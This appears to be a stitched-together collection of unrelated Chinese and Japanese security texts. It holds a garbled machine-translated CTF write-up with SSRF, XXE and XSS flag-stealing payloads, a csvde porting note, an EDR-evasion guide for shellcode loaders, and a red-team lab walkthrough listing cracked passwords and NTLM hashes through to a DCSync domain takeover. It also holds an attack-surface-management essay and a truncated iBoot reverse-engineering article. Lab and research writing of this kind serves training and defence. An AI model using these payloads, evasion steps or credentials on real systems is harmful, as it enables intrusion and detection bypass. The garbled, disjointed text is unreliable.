return render_template( 'view_uploads.html'、form=form、error_message=error_message)

return render_template( 'view_uploads.html'、form=form、user_input=user_input)ポート80にPHPサービスがあり、 /uploadルートはUPLAODSディレクトリにファイルをアップロードできます。 view_uploadsルートの下でそれらを表示できますが、WAFがあります

if( 'www.testctf.com' 'not in baturl)または(' 127.0.0.1 'in pathurl)または('/var/www/html/uploads/'filepath)または('。 ''。 ''。 ')その後、127.0.0.1の代わりに0.0.0を使用でき、SSRFのジャンプを使用してドメイン名制限をバイパスできます

POST /VIEW_UPLOADS HTTP /1.1

HOST: 0192D68DFB217833B65D0ADEEC06784B.ZEUO.DG01.CIIHW.CN:45732

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv3360131.0)gecko/20100101 firefox/131.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/PNG、Image/SVG+XML、*/*; Q=0.8

Accept-Language: ZH-CN、ZH; Q=0.8、ZH-TW; Q=0.7、ZH-HK; Q=0.5、EN-US; Q=0.3、EN; Q=0.2

Accept-Encoding: gzip、deflate

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 211

Origin: http://0192D68DFB217833B65D0ADEEC06784B.ZEUO.DG01.CIIHW.CN:45732

Connection:閉じます

参考文献: http://0192D68DFB217833B65D0ADEEC06784B.ZEUO.DG01.CIIHW.CN:45732/VIEW_UPLOADS

Cookie3360セッション=eyjjc3jmx3rva2vuijoiymqyntjlzdzlzzlytq5zmjmowqyzjjjmmq0ytblnjc1yz jhyzlmnmu5myisinjvbguioijhzg1pbij9.zybmxg.elz3z69hygp6lg3vjimnsktlcno; token=eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyj1c2vybmftzsi6imfkbwluin0.dnqifndfowgggggnuk95sqa5gdu_d6tdv95ltu97wup8ekqx6zr NVVSNP8XKVVFSX0G3XVQBO5XHDXJNPM8LIIWX_KQ8FO8T0Q0Q0QBN1RJ5O2BGKGOZSSUWAURKG7ME6L4-XFIXI7P328F1T4EN_KSP91SES7-9LCN7JABBRUH1

アップグレード-Insecure-Requests: 1

priority: u=0、i

csrf_token=imjkmjuyzwq2zwe0owzizjlkmmyyzjkngewzty3nwmyywm5zjzlotmi.zybmag.rcaslc0xu8ep682ndtsz5peqsqpa th=www.testctf.com@0.0.0.0.0.0.0.0.0.0.0.Input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8submit=submit次に、最初にファイルをアップロードしてから読み取ることができます。 XMLファイルの読み込みに失敗したことが報告されていることがわかった場合、XMLを解析してXXEを直接ヒットすると推測しますが、システムなどの多くのキーワードをフィルタリングするため、UTF-16エンコードを使用してFlag.phpファイルを直接読み取ります

?xmlバージョン='1.0'?

!doctype交換[!エンティティの例システム 'php: //filter/convert.base64-encode/resource=/var/www/html/flag.php']

userinfo

FirstNameJohn/FirstName

lastnameexample;/lastName

/userinfoiconv -f utf8 -t utf16 1.xml3.xml

次に、3.xmlをアップロードし、それを読んでフラグを取得します

img

web2

コンテナのログインインターフェイスを開き、アカウントパスワードを自由に入力して、脆弱性インターフェイスを入力します。

これは、XSSの一目で上司に送信する機能です

その後、アクセス /フラグがあり、上司はそれにアクセスする必要があります。ここでは、XSSを送信してから、最初にボスにアクセス /フラグを実行してから、データをコンテンツに持ち込むことができます。

ScriptVar XMLHTTP=new XMLHTTPREQUEST();

xmlhttp.withcredentials=true;

xmlhttp.onreadystatechange=function(){

if(xmlhttp.readystate==4 xmlhttp.status==200){

var flagdata=xmlhttp.responsetext;

var flag1=btoa(flagdata);

var Remoteserverurl='/content/4a95828e3f0037bfe446ae0e693912df';

var xmlhttp2=new xmlhttprequest();

xmlhttp2.open( 'post'、remoteserverurl、true);

xmlhttp2.setRequestheader( 'content-type'、 'application/x-www-form-urlencoded');

xmlhttp2.send( 'content=' + encodeuricomponent(flag1))

}

};

xmlhttp.open( 'get'、 '/flag'、true);

xmlhttp.send();/script img

タスクを更新した後、ボスに送信します

img

その後、ページに戻って、フラグが送信されていることを確認します

img

pwn

pwn2

Image

ログイン関数から始めて、ユーザー名とパスワードを取得している限り入力できます。

Image

Vuln関数には2バイトのオーバーフローがあり、BUFのアドレスが漏れています。

Image

また、バックドア関数と /bin /sh stringも与えてくれました

Image

Image

完全な経験

PWNインポートから *

elf=elf( './short')

コンテキスト(arch=elf.arch、os=elf.os)

context.log_level='debug'

#libc=elf( './libc.so.6')

フラグ=0

url='0192d6093a297e5e9de02a5fc5bb4757.tdfi.dg01.ciihw.cn'

po

0x00 前言在之前的文章《渗透基础——活动目录信息的获取2:Bypass AV》 介紹了使用csvde獲取活動目錄信息的方法,優點是Windows Server系統自帶,能夠導出csv格式便於查看。但是在Win7系統下,默認不支持這個命令。

本文將要介紹在Win7下運行csvde的方法,提高適用範圍。

0x01 簡介本文將要介紹以下內容:

背景知識

移植思路

實現方法

0x02 背景知識參考資料:

https://docs.microsoft.com/en-us/previous-versions/orphan-topics/ws.10/cc772704(v=ws.10)?redirectedfrom=MSDN

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732101(v=ws.11)

1.csvde的依賴庫需要理清以下結構:

Windows Server 2003,默認支持csvde

Windows Server 2008及更高版本,需要開啟Active Directory Domain Services (AD DS)或Active Directory Lightweight Directory Services (AD LDS)服務器角色

Windows XP Professional,需要安裝Active Directory Application Mode (ADAM)

Windows 7及更高版本,需要安裝Remote Server Administration Tools (RSAT)

2.安裝Remote Server Administration Tools (RSAT)Remote Server Administration Tools for Windows 7:微軟已經不再提供下載

Remote Server Administration Tools for Windows 8下載地址:https://www.microsoft.com/en-us/download/details.aspx?id=28972

Remote Server Administration Tools for Windows 10下載地址:https://www.microsoft.com/en-us/download/details.aspx?id=45520

3.Win7安裝Remote Server Administration Tools (RSAT)(1) 下載安裝KB958830

微軟已經不再提供手動下載,可選擇安裝Win7自動更新補丁

(2) 安裝功能

打開控制面板,選擇Turn Windows features on or off

在Windows Features界面中能夠找到Remote Server Administration Tools,如下圖

為了能夠支持csvde,需要安裝AD DS Snap-ins and Command-line Tools,路徑如下:

Remote Server Administration Tools - Role Administration Tools - AD DS and AD LDS Tools - AD DS Tools - AD DS Snap-ins and Command-line Tools,如下圖

c743eccc12b83c8be5c2abd90f9c343.png

安裝成功後,當前Win7系統支持csvde命令

0x03 移植思路csvde默認安裝路徑為c:\windows\system32,可以使用Process Monitor監控csvde的啟動過程,定位csvde需要的依賴文件,如下圖

a332df9947889fe181722a174fa9b3e.png

從圖中可以看出,csvde啟動時需要依賴文件C:\Windows\System32\en-US\csvde.exe.mui

經過一段時間的測試,最終得出以下移植思路:

複製文件C:\Windows\System32\csvde.exe

複製文件C:\Windows\System32\en-US\csvde.exe.mui

0x04 實現方法我們知道,在C:\Windows\System32\下創建文件需要管理員權限,為了能夠在普通用戶權限下進行移植,這裡可以採取相對路徑的方法實現:

複製csvde.exe至任意普通用戶權限可訪問的路徑

在同級目錄創建文件夾en-US,複製csvde.exe.mui

為了便於測試,我將自己測試系統的csvde已上傳至github,地址如下:

https://github.com/3gstudent/test/blob/master/csvde.zip

0x05 小結本文介紹了在Win7下運行csvde的方法,提高適用範圍,可按照同樣的方法,分別實現在Win8和Win10下運行。

我會在本文中列出一系列可用於繞過行業領先的企業終端保護解決方案的技術。出於安全的考慮,所以我決定不公開發布源代碼。

在模擬攻擊中,“初始訪問”階段的一個關鍵挑戰是繞過企業終端上的檢測和響應能力(EDR)。商業命令和控制框架向紅隊操作員提供不可修改的shellcode 和二進製文件,這些文件由終端保護行業大量簽名,為了執行該植入,該shellcode 的簽名(靜態和行為)需要被混淆。

我會在將介紹以下技術,其最終目的是執行惡意的shellcode,也被稱為(shellcode)加載程序:

Shellcode 加密;

減少熵;

退出(本地)反病毒沙箱;

導入表混淆;

禁用Windows 事件跟踪(ETW);

規避常見的惡意API 調用模式;

直接系統調用和規避“系統調用標記”;

刪除ntdll.dll 中的掛鉤;

欺騙線程調用堆棧;

信標的內存加密;

自定義反射加載程序;

可擴展配置文件中的OpSec 配置;

1. Shellcode加密讓我們從靜態shellcode 混淆話題開始。在我的加載程序中,我利用了XOR 或RC4 加密算法,因為它易於實現並且不會留下大量加載程序執行的加密活動的外部指標。用於混淆shellcode 靜態簽名的AES 加密會在二進製文件的導入地址表中留下痕跡。在此加載程序的早期版本中,我已經讓Windows Defender 專門觸發了AES 解密函數(例如CryptDecrypt、CryptHashData、CryptDeriveKey 等)。

1.png

dumpbin /imports 的輸出,這是二進製文件中僅使用AES 解密函數的痕跡

2. 減少熵許多AV/EDR 解決方案在評估未知二進制時考慮二進制熵。由於我們正在加密shellcode,我們的二進製文件的熵相當高,這清楚地表明二進製文件中的代碼部分被混淆了。

有幾種方法可以減少二進制的熵,兩種簡單的方法是:

2.1 將低熵資源添加到二進製文件中,例如(低熵)圖像。

2.2添加字符串,例如英語詞典或某些“字符串C:\Program Files\Google\Chrome\Application\100.0.4896.88\chrome.dll”輸出。

一個更好的解決方案是設計和實現一種算法,將shellcode 混淆(編碼/加密)成英文單詞(低熵)。

3. 退出(本地)反病毒沙箱許多EDR 解決方案將在本地沙箱中運行二進製文件幾秒鐘以檢查其行為。為了避免對最終用戶體驗的影響,他們檢查二進製文件的時間不能超過幾秒鐘(我曾經見過Avast檢查時間超過30秒,但這是一個例外)。我們可以通過延遲shellcode的執行來濫用這個限制。簡單地計算一個質數是我個人的最愛,並將該數字用作加密shellcode 的(一部分)密鑰。

4.導入表混淆你希望避免可疑的Windows API (WINAPI) 出現在我們的IAT(導入地址表)中。此表包含你的二進製文件從其他系統庫導入的所有Windows API 的概述。可以在此處找到可疑API 列表(因此通常由EDR 解決方案檢查)。通常,這些是VirtualAlloc、VirtualProtect、WriteProcessMemory、CreateRemoteThread、SetThreadContext 等。運行dumpbin /exports

我們添加WINAPI 調用的函數簽名,在ntdll.dll 中獲取WINAPI 的地址,然後創建指向該地址的函數指針:

2.png

使用字符數組混淆字符串會將字符串分割成更小的部分,使它們更難從二進製文件中提取

該調用仍將針對ntdll.dll WINAPI,並且不會繞過ntdll.dll 中WINAPI 中的任何掛鉤,但純粹是為了從IAT 中刪除可疑函數。

5. 禁用Windows 事件跟踪(ETW)許多EDR 解決方案廣泛利用Windows 事件跟踪(ETW),特別是Microsoft Defender for Endpoint(以前稱為Microsoft ATP)。 ETW 允許對進程的功能和WINAPI 調用進行廣泛的檢測和跟踪。 ETW在內核中有一些組件,主要用於註冊系統調用和其他內核操作的回調函數,但也包含一個用戶域組件,它是ntdll.dll (ETW深度攻擊向量)的一部分。由於ntdll.dll是一個加載到二進製文件進程中的DLL,因此我們可以完全控制該DLL,從而控制ETW功能。在用戶空間中,ETW有很多不同的繞過方法,但最常見的是為EtwEventWrite函數打補丁,它被調用來寫入/記錄ETW事件。我們在ntdll.dll中獲取它的地址,並用返回0 (SUCCESS)的指令替換它的第一個指令。

3.png

我發現上述方法仍然適用於兩個測試的EDR,但這是一個嘈雜的ETW 補丁

6. 規避常見的惡意API 調用模式

大多數行為檢測最終都是基於檢測惡意模式。其中一種模式是在短時間內特定的WINAPI調用的順序。第4 部分中簡要提到的可疑WINAPI 調用通常用於執行shellcode,因此受到嚴格監控。然而,這些調用也用於良性活動(VirtualAlloc、WriteProcess、CreateThread 模式結合內存分配和寫入大約250KB 的shellcode),因此使用EDR 解決方案的挑戰是區分良性調用和惡意調用。 你可以參考Filip Olszak 的一篇文章,其中提到利用延遲和較小的分配和寫入內存塊來融入良性WINAPI 調用行為。簡而言之,他的方法調整了典型shellcode 加載程序的以下行為:

6.1 與其分配一大塊內存並直接將大約250KB 的植入shellcode 寫入該內存,不如分配小的連續塊,例如小於64KB 內存並將它們標記為NO_ACCESS。然後以類似的塊大小將shellcode 寫入分配的內存頁面。

6.2 在上述每個操作之間引入延遲。這將增加執行shellcode 所需的時間,但也會使連續執行模式變得不那麼突出。

使用這種技術的一個問題是,要確保在連續的內存頁中找到一個可以容納整個shellcode 的內存位置。 Filip 的DripLoader 實現了這個概念。

我構建的加載程序不會將shellcode 注入另一個進程,而是使用NtCreateThread 在自己的進程空間中的線程中啟動shellcode。未知進程(我們的二進製文件實際上流行率很低)進入其他進程(通常是Windows 原生進程)是突出的可疑活動。當我們在加載程序進程空間的線程中運行shellcode 時,更容易混入進程中良性線程執行和內存操作的噪音。然而,不利的一面是任何崩潰的開發後模塊也會導致加載程序的進程崩潰,從而導致植入程序崩潰。持久性技術以及運行穩定可靠的BOF 可以幫助克服這一缺點。

7. 直接系統調用和迴避“系統調用標記”加載程序利用直接系統調用繞過EDR 放入ntdll.dll 的任何掛鉤。我不想在此過多地討論直接系統調用的話題。

簡而言之,直接系統調用是直接對內核系統調用等效的WINAPI 調用。我們不調用ntdll.dll VirtualAlloc,而是調用它在Windows 內核中定義的內核等效NtAlocateVirtualMemory。我們可以使用這種辦法繞過任何用於監視調用(在本例中)ntdll.dll中定義的VirtualAlloc的EDR掛鉤。

為了直接調用系統調用,我們從ntdll.dll 中獲取我們要調用的系統調用的syscall ID,使用函數簽名將函數參數的正確順序和類型推送到堆棧,然後調用syscall id指令。在此推薦兩個工具,SysWhispers2 和SysWhisper3 就是兩個很好的例子。從規避的角度來看,調用直接系統調用有兩個問題:

7.1 你的二進製文件最終具有syscall 指令,該指令很容易靜態檢測。

7.2 與通過等效的ntdll.dll 調用的系統調用的良性使用不同,系統調用的返回地址不指向ntdll.dll。相反,它指向我們調用系統調用的代碼,它駐留在ntdll.dll 之外的內存區域中。這是一個未通過ntdll.dll調用的系統調用的指標,非常可疑。

為了克服這些問題,我們可以做以下工作:

7.3 實現一個尋蛋機制。將系統調用指令替換為egg(一些隨機的唯一可識別模式),在運行時,在內存中搜索這個egg,並使用ReadProcessMemory和WriteProcessMemory的WINAPI調用將其替換為系統調用指令。然後,我們可以正常地使用直接系統調用。該技術已由klezVirus實現。

7.4我們不是從我們自己的代碼中調用syscall 指令,而是在ntdll.dll 中搜索syscall 指令,並在我們準備好調用系統調用的堆棧後跳轉到該內存地址。這將導致RIP 中的返回地址指向ntdll.dll 內存區域。

這兩種技術都是SysWhisper3 的一部分。

8.刪除ntdll.dll中的掛鉤逃避ntdll.dll 中的EDR 掛鉤的另一個好方法是用來自ntdll.dll 的新副本覆蓋默認加載(並由EDR 掛鉤)加載的ntdll.dll。 ntdll.dll 是任何Windows 進程加載的第一個DLL。 EDR 解決方案確保他們的DLL 在不久之後被加載,這在我們自己的代碼執行之前將所有掛鉤放在加載的ntdll.dll 中。如果我們的代碼之後在內存中加載一個新的ntdll.dll 副本,那些EDR 掛鉤將被覆蓋。 RefleXXion 是一個C++ 庫,它實現了MDSec 對該技術所做的研究。 RelfeXXion 使用直接系統調用NtOpenSection 和NtMapViewOfSection 來獲取\KnownDlls\ntdll.dll(具有先前加載的DLL 的註冊表路徑)中乾淨ntdll.dll 的句柄。然後它會覆蓋加載的ntdll.dll 的.TEXT 部分,從而清除EDR 掛鉤。

我建議使用與第7部分中描述的相同的方法來調整RefleXXion庫。

9. 欺騙線程調用棧接下來的兩部分將介紹兩種技術,它們可以避免在內存中檢測我們的shellcode。由於植入程序的信標行為,大部分時間植入程序都處於休眠狀態,等待其操作員的傳入任務。在此期間,植入程序容易受到來自EDR 的內存掃描技術的攻擊。本文中描述的兩種規避方法中的第一種就是欺騙線程調用堆棧。

當植入程序處於休眠狀態時,它的線程返回地址指向我們駐留在內存中的shellcode。通過檢查可疑進程中線程的返回地址,可以很容易地識別出我們的植入shellcode。為了避免這種情況,想打破返回地址和shellcode之間的這種聯繫。我們可以通過掛鉤Sleep() 函數來做到這一點。當該掛鉤被調用(通過植入/信標shellcode)時,我們用0x0 覆蓋返回地址並調用原始的Sleep() 函數。當Sleep() 返回時,我們將原始返回地址放回原處,以便線程返回到正確的地址以繼續執行。 Mariusz Banach 在他的ThreadStackSpoofer 項目中實現了這種技術。

在下面的兩個屏幕截圖中,我們可以觀察到欺騙線程調用堆棧的結果,其中非欺騙的調用堆棧指向非備份內存位置,而欺騙的線程調用堆棧指向掛鉤的Sleep (MySleep)函數,並“切斷”調用堆棧的其餘部分。

4.png

默認信標線程調用堆棧

5.png

欺騙信標線程調用堆棧

10.信標內存加密另一個規避內存檢測的方法是在休眠時加密植入程序的可執行內存區域。使用與上一節中描述的相同的sleep 掛鉤,我們可以通過檢查調用者地址(調用Sleep() 的信標代碼以及我們的MySleep() 掛鉤)來獲取shellcode 內存段。如果調用者內存區域是MEM_PRIVATE 和EXECUTABLE ,並且大小與我們的shellcode差不多,那麼內存段將使用XOR 函數加密並調用Sleep()。然後Sleep() 返回,它解密內存段並返回給它。

另一種技術是註冊一個vector Exception Handler (VEH),它處理NO_ACCESS違規異常,解密內存段並更改RX的權限。然後就在休眠之前,將內存段標記為NO_ACCESS,這樣當Sleep()返回時,就會出現內存訪問衝突異常。因為我們註冊了一個VEH,所以異常是在該線程上下文中處理的,並且可以在引發異常的完全相同的位置恢復。 VEH 可以簡單地解密並將權限更改回RX,並且植入程序可以繼續執行。這種技術可以防止在植入程序處於睡眠狀態時出現可檢測的Sleep() 掛鉤。

Mariusz Banach 也在ShellcodeFluctuation 中實現了這種技術。

11.自定義反射加載程序我們在這個加載程序中執行的信標shellcode 最終是一個需要在內存中執行的DLL。許多C2 框架利用Stephen Fewer 的ReflectiveLoader。關於反射性DLL 加載程序的工作原理有很多書面解釋,Stephen Fewer 的代碼也有很好的文檔記錄,但簡而言之,反射式加載程序執行以下操作:

11.1將地址解析為加載DLL 所需的必要kernel32.dll WINAPI(例如VirtualAlloc、LoadLibraryA 等);

11.2將DLL 及其部分寫入內存;

11.3建立DLL 導入表,使DLL 可以調用ntdll.dll 和kernel32.dll WINAPI;

11.4加載任何其他庫並解析它們各自的導入函數地址;

11.5調用DLL 入口點;

Cobalt Strike 添加了對在內存中反射加載DLL 的自定義方式的支持,允許攻擊人員自定義加載信標DLL 的方式並添加規避技術。 Bobby Cooke 和Santiago P 使用我在裝載機中使用的Cobalt Strike 的UDRL 構建了一個隱形裝載機(BokuLoader)。 BokuLoader 實現了幾種規避技術:

11.6 限制對GetProcAddress() 的調用(通常是EDR 掛鉤WINAPI 調用來解析函數地址,就像我們在第4 部分中所做的那樣);

11.7AMSI和ETW繞過;

11.8 僅使用直接系統調用;

11.9僅使用RW 或RX,沒有RWX (EXECUTE_READWRITE) 權限;

11.10 從內存中刪除信標DLL 標頭;

請確保取消這兩個定義的註釋,以利用通過HellsGate和HalosGate的直接系統調用,並繞過ETW和AMSI(其實沒有必要,因為我們已經禁用了ETW,並且沒有將加載程序注入到另一個進程中)。

12. Malleable 配置文件中的OpSec 配置在你的Malleable C2 配置文件中,確保配置了以下選項,這些選項限制了RWX標記內存的使用(可疑且容易檢測),並在信標啟動後清理shellcode。

6.png

總結結合這些技術,你可以繞過Microsoft Defender for Endpoint 和CrowdStrike Falcon,且不會被檢測到。

7.png

CrowdStrike Falcon 上的測試

0x1 Info

  • Tag:
    MSSQL,Privilege Escalation,Kerberos,域渗透,RDP
    image
    靶场地址:https://yunjing.ichunqiu.com/ranking/summary?id=BzMFNFpvUDU

0x2 Recon

  1. Target external ip
    47.92.82.196
  2. nmap
    image
  3. MSSQL 弱口令爆破,爆破出有效凭据,权限为服务账户权限(MSSQLSERVER)
    sa:1qaz!QAZ
    image

0x3 入口点 MSSQL - 172.22.8.18

  • 前言,该机器不在域内
  1. 直接MSSQL shell(这里做完了忘记截图了..)
    image
  2. 提权,这里直接获取Clsid暴力怼potato(前面几个clsid是用不了的)

    修改GetClsid.ps1,添加执行potato
    image

    Potato和GetClsid.ps1
    image

    执行GetClsid.ps1
    image

    获取到有效clsid以及命令执行结果
    image
  3. 导出SAM,SYSTEM,Security
    image

    解出凭据,用administrator + psexec 139横向(外网没有开445)就能获取到 flag01
    administrator 2caf35bb4c5059a3d50599844e2b9b1f
    image
  4. qwinsta和端口连接看到有机器rdp过来
    image
    image
  5. 这边使用administrator psexec后上msf(system权限),使用incognito模块,模拟至john(本人实测,只有msf的incognito能完成后续操作,f-secure lab等其他的模拟令牌工具没成功)
    image
  6. 使用john的token执行 net use 看到 \\tsclient\C 共享
    image
  7. 直接获取 \\tsclient\C 下面的 credential.txt,同时提示 hijack image (镜像劫持)
    xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#
    image
  • 快进,略过搭建代理过程
  1. CME 扫描 172.22.8.0/24,有三个机器提示密码过期了
    image
  2. 测试一下 DC01 88端口是否开启(测是否域控),DC01为域控
  3. smbpasswd.py 远程修改一下过期密码,改成111qqq...
    image
  4. ldapshell.py 验证,登录域成功
    image
  5. CME 枚举 RDP,显示能登录进入 172.22.8.46(用CME官方的RDP模块不会扫出有效RDP凭据,这边自己写了一个基于xfreerdp的CME模块)
    XiaoliChan/CrackMapExec-Extension
    image

0x4 域渗透 - 入口 - 172.22.8.46

  1. 登录进入,查看到 xiaorang.lab\Aldrich 不是这台机器的管理员,只是普通用户
  • 提权,两种方法

    Priv-ESC1:镜像劫持提权(常规)

    Get-ACL查看到任何用户都可以对注册表 "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" 进行写入,创建操作
    image

    创建一个劫持magnify.exe(放大镜)的注册表,执行CMD.exe
    image

    锁定用户
    image

    点击放大镜
    image

    提权至system
    image

    Priv-ESC2:krbrelayup提权

    域普通权限用户在域内机器,直接带走(非常规,推荐)
    image
    image
  1. 快进mimikatz,获取到当前机器的机器账户 win2016$
xiaorang.lab\WIN2016$ 4ba974f170ab0fe1a8a1eb0ed8f6fe1a

0x5 域渗透 - DC Takeover

  • 两种方法
  1. 观察 WIN2016$ 的组关系,发现处于 Domain Admins 组,直接使用 Dcsync 带走 DC01 (过程略)
    image
  2. 约束委派(非常规)

    Bloodhound收集域信息,分析,发现存在约束委派
    image

    使用 getST.py 进行约束委派攻击
    image

    带走 DC01
    image



原文链接: https://www.freebuf.com/articles/system/352237.html

2021年7月,Gartner發布《2021安全运营技术成熟度曲线》 ,並在其中首次提出了CAASM網絡資產攻擊面管理(Cyber asset attack surface management)和EASM外部攻擊面管理(External attack surface management)概念,一眾安全廠商紛紛發聲表示“不謀而合”。

在這裡不討論這種“不謀而合”是否有“搶占解釋權”以推廣自家產品的嫌疑,只思考這種強烈的“認可”從何而來,畢竟同時期無論是Gartner這樣的諮詢機構,還是廠商、研究機構,其推出的新概念都不在少數。

技術在前:安全價值回歸經過一些資料查閱,我們欣喜的發現這種“認可”並非單純的安全圈追熱點,更大程度上是國內安全廠商已經在該領域擁有了一定的基礎,技術精進、產品上市,現在EASM與CAASM概念的出現更像是一次“遲來的正名”。

今天的網絡攻擊極少再有“黑客炫技”,多半都是分工細緻的跨國網絡勒索團伙、可調動資源充足的國家背景“網軍”,以及合作鏈條緊密的龐大地下黑產。關鍵基礎設施單位、坐擁高價值數據的大型企業,甚至政府機構網絡系統,其面臨的網絡安全威脅都已今非昔比。

以此為背景,更多直面安全威脅、且更聚焦問題本身的新產品、新技術迎來發展機遇,這其中,攻擊面管理(ASM)作為一種直觀可行的防守方基礎策略受到行業關注,並衍生出了上述EASM與CAASM兩種不同角度的細分概念。

核心:攻擊者視角!面對安全威脅,防守方自己看自己是沒有用的,重要的是“攻擊者怎麼看你”。就像一場守城戰,你自己知道哪裡重兵把守、哪里城牆堅固,並沒什麼用,因為攻城方只會看這這座城哪裡守備空虛,哪裡更容易得手。

這也就引出了ASM的重要概念——攻擊者視角。

1.PNG

圖“中世紀攻擊者視角”

攻擊者視角本質上是尋找防禦的薄弱點,並測繪出一張標識出“突破口”的地圖,這對於正在堆疊剛性防禦系統的防守方而言,無疑是降維打擊。這些“突破口”就包括網絡空間的影子資產(未知資產)、未更新到最新版本的軟件、錯誤的配置等,通過這些資產數據實現攻擊面收斂。

而這就需要一項關鍵技術支撐——網絡空間測繪技術。

網絡空間的“軍事地圖”網絡空間測繪技術被應用於安全領域,很大程度上拉平了攻守雙方在“視野”層面的不對等,尤其是針對“未知資產”,畢竟我們不能去保護一個自己都不知道存在的東西。

這就引出了一個關鍵性問題,如何讓“地圖”精確?

關鍵點就在於“資產指紋庫”能否覆蓋用戶的全量資產。

網絡空間中的資產測繪需要清晰識別出軟件、硬件、系統、服務、證書、數據庫等各類資產,“庫”還需要跟進產品迭代、新品誕生,甚至新品類的出現,以此來滿足用戶後續安全部署的需求。

從資產角度講,Gartner提出的兩個概念中,CAASM更側重識別組織內部的資產,並發現安全漏洞;而EASM則側重防守方暴露在互聯網上的資產和資產相關情況。兩者各有側重,且適合於不同的用戶場景,但同樣的是,清晰全面的資產識別是後續一切的基礎。

“庫”的廣度與精度既然資產識別如此重要,那麼通過大量資源投入,對互聯網上的資產進行極端週期的全面掃描分析,是否就能打造出覆蓋最全面的資產指紋庫?

答案是否。尤其在各行業數字換轉型加速發展的今天,存在大量僅被某一行業使用的系統、軟件等,這些資產並不暴露在互聯網上,為了測繪識別,就需要安全廠商深入了解行業,去研究這些資產,從而觸類旁通的擴展指紋庫。這也是“廣度”之外,指紋庫的另一項指標——“精度”。

在目前國內安全廠商中,華順信安、知道創宇、360等企業已經憑藉豐富的資產數據積累逐步在這一領域走在了前列,並在諸多安全事件中展現出“測繪”對網絡安全及相關工作的重要價值。

起步較早、長期堅持,是積累資產指紋的基礎。此外,則是通過服務客戶深入了解這一行業領域的資產情況,將這些“非主流”但對行業極為重要的資產擴充進指紋庫。上述三家企業便是測繪領域入場較早的“玩家”,以華順信安為例,其專注網絡空間測繪領域超過7年,服務了多個行業的龍頭企業,這些積累也就能夠在攻擊面管理工作中,為用戶貢獻出更大價值。

綜上,我們能梳理出一個邏輯。網絡安全是最終的目標,攻擊面收斂(含EASM與CAASM)是重要手段,而依託於龐大指紋庫的網絡空間資產測繪則是必要基礎。

尾聲1453年,奧斯曼帝國圍攻當時號稱全世界防守最堅固的城市,君士坦丁堡。雙方對壘數月毫無進展,而一扇位置偏僻的小門卻被守城將士完全忽略,甚至都沒有上鎖,並最終致使城市淪陷。

如果防守方的城防圖對著扇小門做了標註,那麼歷史的走向很可能改變。

簡介歡迎來到Firebloom iBoot系列文章的第二篇。在上一篇文章中,我們為讀者詳細介紹了Firebloom在iBoot中的實現方式,內存分配的表現形式,以及編譯器是如何使用它們的。現在,讓我們首先回顧一下用於描述內存分配的結構體:

00000000safe_allocationstruc;(sizeof=0x20,mappedto_1)

00000000raw_ptrDCQ?

00000008lower_bound_ptrDCQ?

00000010upper_bound_ptrDCQ?

00000018typeDCQ?

00000020safe_allocationends在上一篇文章中,我們重點介紹了Firebloom是如何使用lower_bound_ptr和upper_bound_ptr指針的,它們主要用於為內存空間提供安全保護,即防止任何形式的後向/前向越界訪問。在這篇文章中,我們將重點介紹type指針。

我們強烈建議讀者在閱讀這篇博文之前,首先閱讀我們的第一篇文章,以了解相關的背景知識。和上一篇文章一樣,我們的研究工作是在iBoot.d53g.RELEASE.im4p上進行的,對應於安裝了ios 14.4(18D52)系統的iPhone 12機器。

繼續我們的逆向之旅在之前的文章中,我們為讀者介紹過do_safe_allocation函數,其所用是封裝內存分配API並對safe_allocation結構體進行初始化,其中偏移量+0x18處的指針指向了一些描述類型信息的結構體。我們還通過一個例子表明,在使用分配的內存之前,系統會通過該指針進行相應的類型檢查。現在,是時候看看這種功能是如何工作的,以及這個type指針起到了那些作用。

我發現許多與type指針有關的邏輯(類型轉換、在安全分配的內存之間進行複制,等等),這些邏輯真的值得我們逆向研究一番。我想最好是從構件開始,然後逐級而上。

複製指針與內存為了幫助大家理解,我們決定從一些例子入手。為此,讓我們從panic_memcpy_bad_type開始進行逆向——它是do_firebloom_panic的11個交叉引用之一。

iBoot:00000001FC1AA818panic_memcpy_bad_type;CODEXREF:call_panic_memcpy_bad_type+3C↑p

iBoot:00000001FC1AA818

iBoot:00000001FC1AA818var_20=-0x20

iBoot:00000001FC1AA818var_10=-0x10

iBoot:00000001FC1AA818var_s0=0

iBoot:00000001FC1AA818

iBoot:00000001FC1AA818PACIBSP

iBoot:00000001FC1AA81CSTPX22,X21,[SP,#-0x10+var_20]!

iBoot:00000001FC1AA820STPX20,X19,[SP,#0x20+var_10]

iBoot:00000001FC1AA824STPX29,X30,[SP,#0x20+var_s0]

iBoot:00000001FC1AA828ADDX29,SP,#0x20

iBoot:00000001FC1AA82CMOVX19,X2

iBoot:00000001FC1AA830MOVX20,X1

iBoot:00000001FC1AA834MOVX21,X0

iBoot:00000001FC1AA838ADRPX8,#0x1FC2F2248@PAGE

iBoot:00000001FC1AA83CLDRX8,[X8,#0x1FC2F2248@PAGEOFF]

iBoot:00000001FC1AA840CBZX8,loc_1FC1AA848

iBoot:00000001FC1AA844BLRAAZX8

iBoot:00000001FC1AA848

iBoot:00000001FC1AA848loc_1FC1AA848;CODEXREF:panic_memcpy_bad_type+28↑j

iBoot:00000001FC1AA848ADRX0,aMemcpyBadType;'memcpy_bad_type'

iBoot:00000001FC1AA84CNOP

iBoot:00000001FC1AA850MOVX1,X21

iBoot:00000001FC1AA854MOVX2,X20

iBoot:00000001FC1AA858MOVX3,X19

iBoot:00000001FC1AA85CBLdo_firebloom_panic

iBoot:00000001FC1AA85C;Endoffunctionpanic_memcpy_bad_type我們將從最簡單的東西開始,即復制指針的操作。

在我之前的文章中,我特別指出:現在復制一個指針(即進行指針賦值)需要移動一個由4個64位值組成的元組。通常來說,我們可以將其視為是2個LDP與2個STP指令。現在,我們通過下面的函數來舉例說明:

iBoot:00000001FC15AD74move_safe_allocation_x20_to_x19;CODEXREF:sub_1FC15A7E0+78↑p

iBoot:00000001FC15AD74;wrap_memset_type_safe+68↑p.

iBoot:00000001FC15AD74LDPX8,X9,[X20]

iBoot:00000001FC15AD78LDPX10,X11,[X20,#0x10]

